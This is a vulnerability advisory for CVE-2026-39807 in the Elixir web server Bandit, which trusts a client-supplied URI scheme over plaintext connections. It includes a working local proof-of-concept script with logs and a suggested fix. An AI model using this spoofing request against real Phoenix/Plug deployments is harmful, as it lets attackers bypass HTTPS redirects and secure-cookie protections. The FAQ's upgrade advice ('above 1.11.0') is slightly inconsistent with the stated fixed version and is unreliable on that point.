CVE-2026-39807: Client-supplied URI scheme trusted without transport verification in bandit
Summary Bandit reflects the client-supplied URI scheme into conn.scheme without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like GET https://victim/path HTTP/1.1 and the application observes conn.scheme = :https even though no TLS was negotiated. Any downstream Plug logic that trusts conn.scheme as a security signal — Plug.SSL's "already secure, don't redirect" branch, secure: true cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.
The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28
Details The bug is in lib/bandit/pipeline.ex at determinescheme/2 (around line 89). The function takes the request target's scheme and the transport's secure? flag and produces the URI scheme used to build the %Plug.Conn{}. The third match clause is {, scheme} -> scheme — i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.
Two attacker-controlled inputs reach this code path: - HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. GET https://victim/path HTTP/1.1. - HTTP/2 :scheme pseudo-header, which is a free-form string sent by the client.
Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare https and Bandit will pass %URI{scheme: "https"} into Plug.Conn.Adapter.conn/5, producing conn.scheme == :https. There is no guard in determinescheme/2; the discarding of secure? is deliberate.
Suggested fix: when secure? is true, force the scheme to "https"; when false, force it to "http" — or reject the request with 400 Bad Request if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.
PoC A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on 127.0.0.1:4321 with a Plug that echoes conn.scheme, opens a plain TCP socket, and sends:
GET https://127.0.0.1:4321/ HTTP/1.1 Host: 127.0.0.1:4321 Connection: close
A correctly-behaving server would either coerce conn.scheme to :http or return 400 Bad Request. Bandit 1.10.4 returns :https, confirming the spoof.
Impact Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:
- Plug.SSL skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely. - Cookies emitted with secure: true on a plaintext response, where a network attacker could capture them. - Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions. - Application code that uses conn.scheme to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.
The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on conn.scheme.
Script and Logs
elixir Bandit reflects the client-supplied scheme into conn.scheme. lib/bandit/pipeline.ex:89 (determinescheme/2) returns whatever scheme appears on the request target, ignoring the secure? flag that records the actual transport state. HTTP/1.1 absolute-form request targets (e.g. GET https://victim/path HTTP/1.1) and HTTP/2 :scheme are both attacker-controlled strings that flow into this function. Over a plaintext connection, a client can claim https and Bandit hands a %Plug.Conn{scheme: :https} to the application — even though no TLS was negotiated. Downstream Plug consumers that branch on conn.scheme are misled: Plug.SSL's "already secure, don't redirect" path, secure: true cookie flagging, audit logs, CSRF/SameSite gating, etc. This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one HTTP/1.1 absolute-form request with scheme https://, and prints the conn.scheme the application observes. A fixed server should report :http (or reject the request); the buggy server reports :https. Run: elixir scripts/bandit/http1schemespoofing.exs
Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ])
defmodule SchemeApp do @behaviour Plug def init(opts), do: opts
def call(conn, opts) do body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n" Plug.Conn.sendresp(conn, 200, body) end end
defmodule SchemeSpoof do @port 4321
def run do {:ok, } = Bandit.startlink(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)
{:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
# Absolute-form request target with scheme "https" over a plaintext # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request; # nothing about it implies the connection is TLS. request = "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <> "Host: 127.0.0.1:#{@port}\r\n" <> "Connection: close\r\n" <> "\r\n"
log("Sending plaintext HTTP/1.1 request with absolute-form target https://…/.") :ok = :gentcp.send(sock, request)
{:ok, response} = :gentcp.recv(sock, 0, 5000) :gentcp.close(sock)
log("Server response:") IO.puts(response)
cond do response =~ "conn.scheme=:https" -> log("VULNERABLE — application sees conn.scheme = :https on a plaintext socket.") log("Plug.SSL's already-secure branch, secure: true cookies, etc. would all trust this.")
response =~ "conn.scheme=:http" -> log("Server forced scheme to :http — bug appears patched.")
true -> log("Unexpected response shape.") end end
defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end
SchemeSpoof.run()
logs 12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target https://…/. [10:53:25.316] Server response: HTTP/1.1 200 OK date: Tue, 28 Apr 2026 10:53:25 GMT content-length: 47 vary: accept-encoding cache-control: max-age=0, private, must-revalidate
This is what the Plug sees: conn.scheme=:https
[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket. [10:53:25.316] Plug.SSL's already-secure branch, secure: true cookies, etc. would all trust this.
Other sources
Reliance on Untrusted Inputs in a Security Decision vulnerability in mtrudel bandit allows unauthenticated transport-state spoofing on plaintext HTTP connections.
'Elixir.Bandit.Pipeline':determinescheme/2 in lib/bandit/pipeline.ex returns the client-supplied URI scheme verbatim, ignoring the transport's secure? flag. HTTP/1.1 absolute-form request targets (e.g. GET https://victim/path HTTP/1.1) and the HTTP/2 :scheme pseudo-header are both attacker-controlled strings that flow through this function. Over a plaintext TCP connection, a client can declare https and Bandit will set conn.scheme = :https even though no TLS was negotiated.
Downstream Plug consumers that branch on conn.scheme are silently misled: Plug.SSL's already-secure branch skips its HTTP→HTTPS redirect, cookies emitted with secure: true are sent over plaintext, audit logs record requests as having arrived over HTTPS, and CSRF/SameSite gating may make incorrect decisions.
This issue affects bandit: from 1.0.0 before 1.11.0.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-39807?
CVE-2026-39807 has a medium severity level due to the potential for transport-state spoofing on plaintext HTTP connections.
How do I fix CVE-2026-39807?
To mitigate CVE-2026-39807, upgrade the Bandit library to a version above 1.11.0.
Who is affected by CVE-2026-39807?
CVE-2026-39807 affects users of Bandit versions between 1.0.0 and 1.11.0.
What is the nature of CVE-2026-39807?
CVE-2026-39807 is a vulnerability that allows unauthenticated transport-state spoofing due to reliance on untrusted inputs.
What should I do if I cannot upgrade to fix CVE-2026-39807?
If unable to upgrade, consider implementing additional security measures such as enforcing HTTPS to protect against CVE-2026-39807.